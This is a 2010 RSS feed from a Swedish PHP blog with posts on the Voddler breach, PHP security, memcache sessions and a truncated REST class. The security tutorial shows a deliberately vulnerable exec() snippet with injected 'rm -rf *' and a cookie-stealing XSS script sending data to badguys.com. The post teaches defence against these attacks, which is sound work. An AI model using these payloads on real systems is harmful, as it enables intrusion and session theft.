<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Från skog till web &#187; php</title>
	<atom:link href="http://txc.se/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://txc.se</link>
	<description>Om att se livet från olika sidor</description>
	<lastBuildDate>Sat, 19 Jun 2010 21:49:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Voddler har blivit hackat!</title>
		<link>http://txc.se/2009/07/voddler-har-blivit-hackat/</link>
		<comments>http://txc.se/2009/07/voddler-har-blivit-hackat/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 10:46:11 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Blogg]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[idg]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[voddler]]></category>
		<category><![CDATA[webmaster network]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=52</guid>
		<description><![CDATA[Bara några timmar efter att Voddler hade premiär så blev dom hackade. Eller ja, man kan inte kalla det hack, eftersom allting handlade om säkerhetsbrist hos programmerna. Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det ett inlägg under Nyheter på WN. Eftersom IDG brukar vara relativt snabba på att skvallra när [...]]]></description>
			<content:encoded><![CDATA[<p>Bara några timmar efter att Voddler hade premiär så blev dom hackade. Eller ja, man kan inte kalla det hack, eftersom allting handlade om säkerhetsbrist hos programmerna.</p>
<p>Detta uppmärksammades först på Webmaster Networks (WN) IRC-kanal, och sen publicerades det <a title="Voddler hackat, av fransmänn!" href="http://www.webmasternetwork.se/f3t37778.html">ett inlägg under Nyheter</a> på WN.</p>
<p><img title="(Läs mer...)" src="../wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><span id="more-52"></span></p>
<p>Eftersom IDG brukar vara relativt snabba på att skvallra när det hänt något så skickade jag ett mail till Daniel Goldberg på Computer Sweden (eftersom han skrev om <a title="Premiär för ny svensk filmtjänst" href="http://computersweden.idg.se/2.2683/1.238079">Voddlers premiär</a>) och hänvisade till tråden på WN, kort därefter så dök <a title="Intrång på Voddler - bara timmar efter premiären" href="http://sakerhet.idg.se/2.1070/1.238506/intrang-pa-voddler--bara-timmar-efter-premiaren">artikeln upp på Tech World</a>, med hänvisning till WN.</p>
<p>Mina kommentarer är kort att det är förargligt men även att förskräckligt.</p>
<p>Hur gjorde dom då?</p>
<p>Enligt inlägget från fransmännen (forumet är nedstängt, men en kopia finns här: <a href="http://x.jine.se/voddler/index.html">Sida 1</a>, <a href="http://x.jine.se/voddler/index2.html">Sida 2</a>) som lade ut det hela, så verkar han ha kommit åt en fil med PHP-kod, där uppgifter till MySQL fanns med (root uppgifter med synligt lösenord) och testade att logga in med detta till maskinen.</p>
<p>Enligt Mattias Hjelmstedt, vice vd och en av grundarna bakom Voddler, så skulle detta enbart röra sig om intrång i beta-programmet.</p>
<blockquote><p>– I det läget hade vi 176 aktiva konton och intrånget har skett i betaversionen och inte i den skarpa tjänst som lanseras snart. Vi har nu skärpt säkerheten och sett till att liknande intrång inte ska kunna ske igen, säger Hjelmstedt.</p></blockquote>
<p>Men det han glömmer att berätta är att det finns 15&#8217;000st epost adresser på vift med tillhörande lösenord. Samt att beta &amp; den framtida webbplatsen finns på samma maskin. Dit hackarna har haft tillgång.</p>
<p><strong>Uppdaterat</strong>: Nu har även <a title="Intrång på Voddler" href="http://www.svd.se/naringsliv/it/artikel_3177117.svd">Svenska Dagbladet</a> kommit ut med det</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/07/voddler-har-blivit-hackat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Säkerhet</title>
		<link>http://txc.se/2009/04/php-sakerhet/</link>
		<comments>http://txc.se/2009/04/php-sakerhet/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 19:43:04 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Säkerhet]]></category>
		<category><![CDATA[Webben]]></category>
		<category><![CDATA[kapning]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sessioner]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=37</guid>
		<description><![CDATA[PHP är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a title="PHP, eller Hypertext Preprocessor, är ett open-source, ett server-sid programmers språk." href="http://www.php.net">PHP</a> är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. Många mailinglistor, forum och bloggar rapporterar stadigt om nya säkerhetshål i PHP applikationer, men PHP kan vara lika säkert som vilket annat språk som helst om man bara förstår dom vanligaste missarna man kan göra.</strong></p>
<p>Jag skall gå igenom dom vanligaste missarna som kan resultera i säkerhetshål och visa exempel på hur man kan göra för att undvika detta. Jag hoppas att du som läsare skall förstå hur man kan undvika detta. Genom att förstå varje miss hjälper dig att undvika misstagen i dina script.</p>
<p>Säkerhet är en process, inte en produkt, och genom att ha en tänka på säkerheten när man programmerar sin applikation så kommer du att producera en tätare och mer robust kod.<br />
<span id="more-37"></span></p>
<h2>Ej kontrollerade inmatningar</h2>
<p>Ett av dom (om inte det) vanligaste säkerhetshålet i PHP är icke kontrollerad data. När en användare som kan fylla i formulär kan helt enkelt inte bli litad på. Du skall alltid anta att varje användare som kommer att använda din applikation är illvillig, för att det är alltid någon som kommer att bli det. Ej kontrollerad eller ej korrekt kontrollerad är grunden till att många brister förekommer. Men vi kommer till det senare.</p>
<p>Som ett exempel, du kommer att skriva följande kod för att tillåta en användare att visa en kalender som visar en specifik månad genom att anropa UNIX kommandot &#8221;<em>cal</em>&#8221;.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna koden har ett stort säkerhetshål, detta genom att den <em>$_GET['month']</em> och <em>$_GET['year']</em> blir inte validerade på något sätt. Applikationen gör exakt vad den skall göra, så länge <em>month </em>är ett värde mellan 1 och 12, och <em>year</em> är ett korrekt 4-siffrigt årtal. Men, en elak användare kanske skriver &#8221;<em>ls -l</em>&#8221; istället för ett årtal och kan därmed se en listning av hela din webbsidas html katalog. En extremt elak användare kan skriva &#8221;<em>rm -rf *</em>&#8221; istället och därmed radera hela din websida!</p>
<p>Den korrekta vägen att göra detta är att kontrollera att <em>year</em> och <em>month</em> verkligen är vad du vill att det skall vara. Använd inte JavaScript för denna kontroll; denna form av validering kommer man enkelt runt genom att skapa ett eget formulär eller genom att stänga av javascript. Javascript validering här är bra på ett sätt, att kontrollera formuläret och underrätta användaren om att inmatningen är felaktig. För att göra detta korrekt behöver du lägga till PHP kod som försäkrar dig om att <em>month och </em>year är siffror och enbart siffror, som jag visar nedan.</p>
<pre name="code" class="php">$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Felaktig månad");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Felaktigt årtal");

exec("cal $month $year", $result);
print "&lt;PRE&gt;";
foreach ($result as $r) { print "$r&lt;BR&gt;"; }
print "&lt;/PRE&gt;";</pre>
<p>Denna kod kan användas utan att oroa sig för att en användare skall utnyttja något säkerhetshål. Eftersom den tillåter bara siffror. Reguljära uttryck är ett fantastiskt verktyg att använda för att validera inmatningar. De kan vara svåra att få ett grepp om, men när man lärt sig det så är det otroligt kraftfullt att använda. Speciellt i sådana här fall.</p>
<p>Du skall alltid när du validerar användardata neka allting som inte stämmer överrens med det du vill ha. Gå aldrig den vägen att du godkänner allting utom det du vet är skadligt, detta är en känd källa av säkerhetshål. Ibland kommer skadliga användare runt detta genom att till exempel, genom att inkludera skadlig data genom att förvränga det med <em>null</em> tecken. Detta skulle godkännas i din kontroll, men skulle ha en skadlig effekt.</p>
<p>Du skall vara så restriktiv du bara kan när du validerar data. Om några tecken inte behöver inkluderas, så skall du kapa bort dom eller neka det helt och hållet.</p>
<h2>Åtkomstkontroll</h2>
<p>En annan typ av säkerhetshål, som inte enbart är för PHP, utan är viktig hur som helst, är åtkomstkontroller. Denna brist kan bokstavligen röra om det i skallen på en, speciellt om du har vissa sektioner där din applikation måste vara begränsad till vissa användare, så som att administrations sidan tillåts att göra vissa ändringar, eller visa känslig information.</p>
<p>Du skall kontrollera användarens rättigheter vid varje laddning av sidan i din PHP applikation. Om du enbart kontrollerar användarens uppgifter vid index sidan, en elak användare kan skriva in URLen till en &#8221;djupare&#8221; sida, vilket skulle innebära att han kommer förbi denna kontroll.</p>
<p>Den är också bra att man lägger till ett lager av säkerhet till, till exempel, genom att enbart tillåta användarens tillgång genom dennes IP och användarnamn, om du har turen att användarna har ett förutsägbart eller statiskt tilldelat IP. Genom att placera dina filer i en katalog som är skyddad av Apaches .htaccess är också en bra början.</p>
<p>Man skall också placera konfigurations filer utanför html katalogen. Konfigurationsfilerna innehåller oftast uppgifter för databas anslutning och annan information som kan användas av en elak användare för att penetrera eller vanställa din sida, tillåt aldrig att dessa filer att bli visade för någon användare. Använd PHPs <em>include</em> funktion för att inkludera filer från en katalog som man inte kommer åt från webben, tex en katalog &#8221;<em>_includes</em>&#8221;, där det finns en <em>.htaccess</em> som innehåller <em>deny from all</em>. Detta är redundant, så alla kataloger i denna katalog skyddas också.</p>
<p>För mina PHP applikationer, så föredrar jag en katalog struktur som visas nedan. Alla funktioner, classer &amp; konfigurations filer är lagrade i <em>_includes</em>. Spara alltid filer som skall inkluderas med .php filändelsen, så även om skyddet faller så kommer webbservern att interpretera PHP koden, och inte visa något för användaren. www &amp; admin är kataloger som bara kan nås via en URL, admin katalogen skyddas även av en <em>.htaccess</em>, och tillåter tillträde enbart om användarnamn och lösenord finns sparade i <em>.htpasswd</em> i roten.<br />
<code><br />
/home<br />
&nbsp; /httpd<br />
&nbsp; &nbsp; /www.example.com<br />
&nbsp; &nbsp; .htpasswd<br />
&nbsp; &nbsp; /includes<br />
&nbsp; &nbsp; &nbsp; cart.class.php<br />
&nbsp; &nbsp; &nbsp; config.php<br />
&nbsp; &nbsp; /logs<br />
&nbsp; &nbsp; &nbsp; access_log<br />
&nbsp; &nbsp; &nbsp; error_log<br />
&nbsp; &nbsp; /www<br />
&nbsp; &nbsp; &nbsp; index.php<br />
&nbsp; &nbsp; &nbsp; /admin<br />
&nbsp; &nbsp; &nbsp; &nbsp; .htaccess<br />
&nbsp; &nbsp; &nbsp; &nbsp; index.php<br />
</code><br />
Du skall ställa in så att Apache indexerar <em>index.php</em> och visar den som standard, detta är oftast redan gjort om man har PHP installerat.</p>
<p>Gör aldrig, aldrig en backup av en PHP fil genom att genom att lägga till/byta ut filändelsen mot .bak eller någon annan filändelse. Beroende på din webbserver du använder (Apache har tacksamt skydd mot detta), så kommer PHP koden i filen inte att interpreteras, och det kan hända att den skriver ut koden i klartext, om denna fil skulle innehålla lösenord eller annan känslig information så skulle detta visas för användaren, det kan till och med synas i sökresultaten hos en sökmotor. Döp istället om filen till <em>.bak.php</em> istället. Den bästa lösningen är använda ett revisions system som tex. CVS eller SVN, båda kan vara komplicerade att lära sig, men tiden du spenderar på det kommer att betala sig väl på många sätt. Systemet sparar vartenda version av varje fil i ditt projekt, vilket kan vara ovärdeligt när en ändring skapar problem senare.</p>
<h2>Session ID Skydd</h2>
<p>Session ID kapning kan vara ett problem med PHP webbsidor. PHP spårning komponent använder ett unikt ID för varje användares session, men om detta ID blir känt för en annan användare, så kan den personen kapa sessionen och därmed se informationen som skall vara skyddad för denne. Session ID kapning kan inte bli helt säker, men om du känner till riskerna så kan du förebygga det väl.</p>
<p>Exempelvis, även efter att en användare har blivit validerad och tilldelat en sessions ID, så skall du alltid validera denne varje gång den gör något känsligt, så som att denne byter användarnamn, lösenord mm. Tillåt aldrig en sessions validerad användare att ändra lösenord utan att låta dom fylla i det gamla lösenordet också. Du skall också försöka låta bli att visa särskilt känslig information, som tex. kreditkortsnummer, till en användare som bara är validerad genom en session.</p>
<p>En användare som skapar en ny session genom att logga skall alltid få ett nytt sessions ID genom att använda <em>session_regenerate_id</em> funktionen. En kapad användare kommer att försöka använda det gamla sessions ID innan man loggade in.</p>
<p>Om din webbsida hanterar kritisk information som tex kreditkortsnummer, använd alltid SSL anslutning. Detta kommer att hjälpa till att förebygga risken för kapning, eftersom man inte kan <em>sniffa</em> trafiken.</p>
<p>Om din webbsida körs på en delat Webserver, var uppmärksam på att vilken sessions variablar som helst kan bli visade för vilken annan användare på samma server. För att mildra detta så kan man spara all känslig information i databasen, istället för i sessionen. Om du måste spara ett lösenord i en session (och jag påpekar att detta bör man inte göra!) så spara det inte i klartext, använd istället <em>sha1()</em> (PHP 4.3+) eller <em>md5()</em> för att spara en hash av lösenordet istället.</p>
<pre name="code" class="php">if ($_SESSION['password'] == $userpass) {
// gör känsliga saker här
}</pre>
<p>Koden ovanför är inte säker, eftersom lösenordet är sparat i ren text i variabeln. Istället använd kod mer som denna.</p>
<pre name="code" class="php">if ($_SESSION['sha1password'] == sha1($userpass)) {
// gör känsliga saker här
}</pre>
<div>SHA-1 algoritmen är inte utan dess brister, och den snabba utvecklingen i dator krat gör det möjligt att generera vad som är känt att kallas kollisioner (olika strängar med samma SHA-1 summa). Men ovanstående teknik är fortfarande ett överlägset sätt än att spara lösenord i klartext. Använd MD5 om du måste, eftersom det är bättre än att använda klartext, men kom ihåg att senaste tidens utveckling gör det möjligt att skapa MD5 kollisioner på mindre än en timme med en standard dator. Idealet, vore att använda en funktion som implementerar SHA-256, vilket man kan använda med <em>hash()</em>.</div>
<h2>Cross Site Scripting (XSS) Brister</h2>
<p>Cross site scripting, eller XSS, brister är ett samlingsnamn där en användare har fått möjligheten att bädda in script kommandon, vanligen JavaScript, i data som blir visade och därmed körs dom av en annan användare.</p>
<p>Till exempel, din applikation har ett forum där personer kan posta inlägg som läses av andra användare, en elak användare kan bädda in en &lt;script&gt; tagg, som visas nedan, vilket skulle innebära att sidan laddas om till en annan sida som är kontrollerad av dom, och skickar med cookie informationen och sessions information som $GET variablar till deras sida, och skickar sedan tillbaka dig som om ingenting har hänt. En elak användare kan därmed hämta alla andra användares cookies och session information, och använda denna inforamtion för en sessions kapning (se ovan) eller en annan attack mot sidan.</p>
<pre name="code" class="js">&lt;script&gt;
document.location =
	'http://www.badguys.com/cgi-bin/cookie.php?' +
	document.cookie;
&lt;/script&gt;</pre>
<p>För att motverka denna formen av attack så måste du vara försiktig när du visar information som användare har publicerat. Den enklaste vägen att skydda sig mot detta är att escape:a alla tecken som används i HTML syntax (särskilt &amp;lt; och &amp;gt;) för att bli HTML kodade (&amp;amp;lt; och &amp;amp;gt;), så att den inskickade datan helt enkelt publiceras som ren text. Använd PHPs htmlspecialchars funktionen för detta bruk.<br />
Om din applikation kräver att användarna skall kunna skicka HTML innehåll och det skall behandlas så, så bör du istället filtrera bort potientiella skadliga taggar såsom &lt;script&gt;. Detta är bäst gjort när innehållet först är inskickat, och kommer att kräva lite reguljära uttryck.</p>
<p><a href="http://www.cgisecurity.com/xss-faq.html">Cross Site Scripting FAQ</a> på <a href="http://www.cgisecurity.com/">cgisecurity.com</a> ger mycket mer information och bakgrund till denna typ av brist och förklarar det mycket väl. Det är en läsning jag verkligen rekommenderar och hoppas ni förstår den. XSS brister kan vara svårt att se och det kan hända den bäste när man bygger en applikation.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/php-sakerhet/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Utöka PHPs sessions hantering</title>
		<link>http://txc.se/2009/04/utoka-phps-sessions-hantering/</link>
		<comments>http://txc.se/2009/04/utoka-phps-sessions-hantering/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 23:50:22 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Webben]]></category>
		<category><![CDATA[memcache]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=22</guid>
		<description><![CDATA[I PHP, sessioner kan hålla ordning på autensierade användare. Det är väsentlig byggsten i dagens gigantiska communities och aktiviteter online. Utan sessioner så skulle alla bara vara en anonym användare. I &#8221;dataspråk&#8221; så skulle PHPs sessioner enbart vara små filer, sparade på serverns disk. Men på vältrafikerade servers så är det mycket disk I/O inblandat, [...]]]></description>
			<content:encoded><![CDATA[<p>I PHP, sessioner kan hålla ordning på autensierade användare. Det är väsentlig byggsten i dagens gigantiska communities och aktiviteter online. Utan sessioner så skulle alla bara vara en anonym användare.<br />
I &#8221;dataspråk&#8221; så skulle PHPs sessioner enbart vara små filer, sparade på serverns disk. Men på vältrafikerade servers så är det mycket <abbr title="Disk Input/Output">disk I/O</abbr> inblandat, och att inte kunna dela med sig av denna information med andra/flera webbservers från grunden gör detta långt från idealiskt.</p>
<p>Skall visa ett sätt att göra detta i PHP och tillsammans med <a title="memcached: a distributed memory object caching system" href="http://www.danga.com/memcached/">memcached</a><br />
<span id="more-22"></span></p>
<h2>Sessions delning i Webbkluster</h2>
<p>Om du har flera webbserver som alla har hand om samma webbsida, sessioner borde bli delade mellan dessa servers, och inte sparas på varje servers disk. För när en användare blir lastbalanserad till en annan server, så kan inte sessionen hittas, vilket kommer att resultera i att användaren blir utloggad.</p>
<p>En vanlig väg runt detta är att använda en anpassad sessions hanterare. Skriver en klass som tar över standard förfarandet och sparas sessionen i en MySQL databas</p>
<h2>Sessioner i en databas</h2>
<p>Alla webservrar ansluter till samma databas och såvidare, så snart <em>www01</em> registrerar en session ( insert i en sessions tabel), <em>www02</em> kan läsa den. Alla servrarna kan se alla sessioner. Problem löst?</p>
<p>Ja, och nej. Detta är funktionellt och det hanterar problemet med delbarheten. Men databaser är den största flaskhalsen för webbkluster idag. De är svåra att skala, och i miljöer där det förekommer hög trafik så vill man inte belasta dom i onödan. Sessioner i en databas löser bara 2/3 av problemet, vi måste lösa prestandan också.</p>
<h3>Databas minne</h3>
<p>Minne är cirka 30 gånger snabbare än disk utrymme. Så att spara våra sessioner i minnet skulle ge oss bra prestanda.</p>
<h4>MySQL query caching</h4>
<p>En form av att använda databas minne är det som är inbyggt i MySQL. MySQL query cache. Men MySQL query cache är inte så effektivt som man skulle vilja, kort och gott, det suger! När man skriver/uppdaterar en post i MySQL så töms cachen. Inte så effektivt som man skulle vilja.</p>
<p>Självklart så blir sessions tabellen ändrad hela tiden, vilket gör att cachen blir tömd hela tiden, vilket gör den värdelös får detta bruk.</p>
<h4>Heap tables / Memory tables</h4>
<p>Vi närmar oss verkligen vårt mål nu. Spara våra sessioner i en heap/memory table (en tabell som existerar i databas serverns RAM) snabbar verkligen upp saker ordentligt. Många krävande sidor har valt denna lösning.</p>
<p>Men i mina ögon, så är detta inte optimalt. För att detta kräver en massa extra frågor mot våran databas, något som den inte skall behöva.</p>
<p>En annan lösning är att använda Memcache. Och du kommer att finna denna lösning enkel och minimal. På grund av en sak, du behöver inte en anpassad lösning. Stödet för detta följer med PHP.</p>
<h2>Memcache</h2>
<p>Memcache är ett litet program som ursprungligen kommer från <a title="LiveJournal.com - Start a Free Blog / Journal Today" href="http://www.livejournal.com">Live Journal</a>. Det är ganska enkelt: Det reserverar lite minne, öppnar upp en socket och bara finns där.</p>
<p>Vi kan ansluta till socketen och spara variablar där, och hämta dom senare. Lagringen av variablarna sker i minnet. Så det är blixtsnabbt.</p>
<p>Memcache kan användas för en mängd saker, funktions resultat, hela html block, databas resultat. Men vi skall använda det för att spara vår användares sessioner.</p>
<h3>Uppbyggnad</h3>
<p>Från systemets sida, Memcache liknar mycket som MySQL. Du har en:</p>
<ul>
<li><strong>Server</strong><br />
Där informationen är lagrad. Bör köras hela tiden</li>
<li><strong>Klient</strong><br />
Interface för att spara &amp; hämta information från servern.<br />
Är integrerat i vårt programmerings språk</li>
</ul>
<p>Det är en viktig sak som skiljer. Om Memcache stängs av, så förloras all information. Så kom ihåg att bara använda Memcache som en cache och ingen lagringsenhet. Det finns ingen möjlighet att återskapa data, likt en hårddisk. För sessioner så är detta en risk jag är beredd att ta. Det värsta som kan hända är att användarna loggas ut. Om du inte kan leva med detta så bör du kombinera databas &amp; memcache sessions hanterare. Databas är en säker lösning, memcache kommer att vara front för dess prestanda. Om den kraschar, så kommer du bara att förlora prestandan, men inte datan.</p>
<h3>Installera en Memcache server</h3>
<p>För sessions delning, använd en central server. Om du bara har en webbserver, så gör det fortfarande nytta att använda Memcache för dess prestanda. Ändra bara så att dess maximala minnes storlek är begränsat till 64MB (beror på din server och önskemål), och använd localhost (127.0.0.1) för att ansluta till den.</p>
<p>Om du inte har Memcache redan, så kan du enkelt installera det via ditt paketsystem. Jag använder Debian så för mig är det:</p>
<pre>apt-get install memcached</pre>
<p>Ändra inställningarna i <em>/etc/memcached/memcached.conf</em>. I mitt fall så var grundinställningen OK. Jag ökade bara det maximala värdet för minnet och tillät fler att ansluta.</p>
<p>Starta nu om Memcache processen</p>
<pre>/etc/init.d/memcached restart</pre>
<p>(För mig startades processen automatiskt när jag installerade den. Därför jag har <em>restart</em> istället för <em>start</em>. Men skulle inte processen vara igång så fungerar <em>restart</em> lika bra.)</p>
<p>Nu är vi klara att använda Memcache. Men hur?</p>
<h3>Installera en Memcache klient</h3>
<p>Du kunde bara öppna upp en socket via telnet och &#8221;prata&#8221; direkt med Memcache, men det skulle troligen mest ge dig huvudvärk. Så det finns en standard PHP modul som vi kan använda och som gör majoriteten av jobbet åt oss, och som tillåter oss att prata objekt orienterat med den. Detta fungerar nästan precis som att installera en MySQL modul. Om din distribution har den, så bra då, kör bara:</p>
<pre>apt-get install php5-memcache</pre>
<p>Om inte, inga problem. Se bara till att du har pecl tillgängligt och:</p>
<pre>pear install pecl/memcache</pre>
<p>(Pecl har en bug som ger ett &#8221;Fatal error: Allowed memory size of XXXX bytes exhausted)</p>
<p>När du använder pecl som metod, var god välj:</p>
<pre>Enable memcache session handler support? [yes] : yes</pre>
<p>Du måste aktivera så att PHP kan använda modulen vi nu har, så lägg till:</p>
<pre>extension=memcache.so</pre>
<p>I Debian så finns det en katalog i <em>/etc/php5/</em> som heter <em>conf.d</em>, där ligger troligen alla dina moduler. Finns det inte en fil som heter något i stil med <em>memcache.ini</em> så skapa en med innehållet ovan.</p>
<p>Toppen, nu har vi alla förutsättningar för att börja använda Memcache.</p>
<h2>Sessioner i Memcache</h2>
<p>PHP tillåter dig att styra över hanteringen för sessioner på två sätt:</p>
<ol>
<li><a class="function" href="http://se2.php.net/manual/en/function.session-set-save-handler.php">session_set_save_handler()</a>. För att programmera dina egna sessions hanterare, tillåter dig virtuellt sätt att använda vilket lagringssätt du vill, så länge du kan läsa/skriva till det från PHP. <a href="http://se2.php.net/manual/en/function.session-set-save-handler.php#81761">Detta exempel</a> använder en MySQL databas. Vi kan också använda denna metod för att ansluta till Memcache.</li>
<li><a href="http://se2.php.net/manual/en/session.configuration.php#ini.session.save-handler">session.save_handler</a>. Genom att specificera en av standard hanterarna i php.ini genom att använda <a href="http://se2.php.net/manual/en/session.configuration.php#ini.session.save-handler">session.save_handler</a> &amp; session.save_path</li>
</ol>
<p>Val 1 ger dig större flexibilitet. Och ger dig även möjligheten att skapa en kombinerad lösning databas/memcache. Vilket resulterar i en fallback till databasen om något skulle hända med Memcache.</p>
<p>Val 2 är väldigt enkelt att göra, och kräver inte att man måste ändra sin kod, och det är det jag skall visa.</p>
<h3>session.save_handler</h3>
<p>Förutsätter att du redan har en webbserver, och installerat Memcache på samma maskin, hostnamnet kommer att vara 127.0.0.1. Om du har den på en annan server så vet du vad du skall ändra och vad det skall ändras till.</p>
<pre>session.save_handler = memcache
session.save_path = "tcp://127.0.0.1:11211"</pre>
<p>Klart! HUH? Vad hände precis?</p>
<p>Japp, vi har precis aktiverat Memcache sessions hantering stöd, och allt jobb är klart för oss. PHP kommer nu att veta att den inte skall använda standard <em>files</em> hanteringen i /tmp/ eller vart det nu är inställt att sparas, utan kommer att använda Memcache som körs på 127.0.0.1 istället.</p>
<p>Glöm inte bort att starta om din webserver för att verkställa dina ändringar i <em>php.ini</em></p>
<pre>/etc/init.d/apache2 restart</pre>
<h2>Haken</h2>
<p>Precis som med allting som verkar för coolt, så är det en hake: Låsning. PHPs standard metod för sessions hantering låser hela sessionen tills den är klar. Memcache är byggt för hastighet och som ett resultat av detta så stödjer det inte denna form av låsning. Detta kan leda till att när man använder frames eller AJAX. Ibland kan det ske att man frågar efter ett värde precis innan det har sparats.</p>
<h2>Mer läsning kring detta</h2>
<p>Det vi precis har gjort med Memcache är lätt fångad frukt. Vi har aktiverat RAM sessioner med minsta möjliga ansträngning utan att ha ändrat en rad av våran existerande kod.</p>
<p>Men nu när du har Memcache igång, så kanske du vill använda det för att spara övrig ofta-använda/sällan-ändrade variables också. Var så god och känn dig för och kolla <a href="http://www.php.net/manual/en/book.memcache.php">dokumentationen</a>. Du kommer att lära dig att Memcache kan utöka din serversidas prestanda rejält.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/utoka-phps-sessions-hantering/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP &amp; REST</title>
		<link>http://txc.se/2009/04/php-rest/</link>
		<comments>http://txc.se/2009/04/php-rest/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 17:45:43 +0000</pubDate>
		<dc:creator>TXC</dc:creator>
				<category><![CDATA[Webben]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rest]]></category>

		<guid isPermaLink="false">http://www.txc.se/?p=16</guid>
		<description><![CDATA[Jag håller på med ett relativt stort projekt som inom en framtid kommer att lanseras rätt hårt här i Sverige. Mina medarbetare har nu efterfrågat möjligheten för tredjepart att utveckla mot denna plattform. Så jag har satt mig ned och undersökt denna möjlighet, eftersom Facebook, Twitter mfl använder REST, så varför inte. Med möjligheten för [...]]]></description>
			<content:encoded><![CDATA[<p>Jag håller på med ett relativt stort projekt som inom en framtid kommer att lanseras rätt hårt här i Sverige.</p>
<p>Mina medarbetare har nu efterfrågat möjligheten för tredjepart att utveckla mot denna plattform.</p>
<p>Så jag har satt mig ned och undersökt denna möjlighet, eftersom Facebook, Twitter mfl använder <abbr title="Representational State Transfer ">REST</abbr>, så varför inte.</p>
<p><span id="more-16"></span></p>
<p>Med möjligheten för REST så kan man även använda HTTP Svarskoder istället för att lägga ned tid på att göra ett eget, som säkerligen lär kräva en manual för att tolka.</p>
<p>Tex:</p>
<p>När man skapat ett inlägg, användare eller annat, svara enkelt med 201 (201 = Created), när något har gått fel så svarar man med 500 (500 = Internal Server Error), eller om dom brutit mot API:et ett 400 fel (400 = Bad Request). Man kan även skicka ett 501 fel om dom försöker skicka POST till något som bara kräver GET (501 = Not Implemented). Om MySQL servern är nere så ett 503 (503 = Service unavailable). Ja, du fattar mitt tänk här. Du kan läsa mer om status koderna på Wikipedia <a href="http://en.wikipedia.org/wiki/List_of_HTTP_status_codes">HTTP Status Koder</a>.</p>
<pre name="code" class="php">
class RestUtils
{
	public static function processRequest()
	{

	}

	public static function sendResponse($status = 200, $body = '', $content_type = 'text/html')
	{

	}

	public static function getStatusCodeMessage($status)
	{
		// these could be stored in a .ini file and loaded
		// via parse_ini_file()... however, this will suffice
		// for an example
		$codes = Array(
		    100 => 'Continue',
		    101 => 'Switching Protocols',
		    200 => 'OK',
		    201 => 'Created',
		    202 => 'Accepted',
		    203 => 'Non-Authoritative Information',
		    204 => 'No Content',
		    205 => 'Reset Content',
		    206 => 'Partial Content',
		    300 => 'Multiple Choices',
		    301 => 'Moved Permanently',
		    302 => 'Found',
		    303 => 'See Other',
		    304 => 'Not Modified',
		    305 => 'Use Proxy',
		    306 => '(Unused)',
		    307 => 'Temporary Redirect',
		    400 => 'Bad Request',
		    401 => 'Unauthorized',
		    402 => 'Payment Required',
		    403 => 'Forbidden',
		    404 => 'Not Found',
		    405 => 'Method Not Allowed',
		    406 => 'Not Acceptable',
		    407 => 'Proxy Authentication Required',
		    408 => 'Request Timeout',
		    409 => 'Conflict',
		    410 => 'Gone',
		    411 => 'Length Required',
		    412 => 'Precondition Failed',
		    413 => 'Request Entity Too Large',
		    414 => 'Request-URI Too Long',
		    415 => 'Unsupported Media Type',
		    416 => 'Requested Range Not Satisfiable',
		    417 => 'Expectation Failed',
		    500 => 'Internal Server Error',
		    501 => 'Not Implemented',
		    502 => 'Bad Gateway',
		    503 => 'Service Unavailable',
		    504 => 'Gateway Timeout',
		    505 => 'HTTP Version Not Supported'
		);

		return (isset($codes[$status])) ? $codes[$status] : '';
	}
}

class RestRequest
{
	private $request_vars;
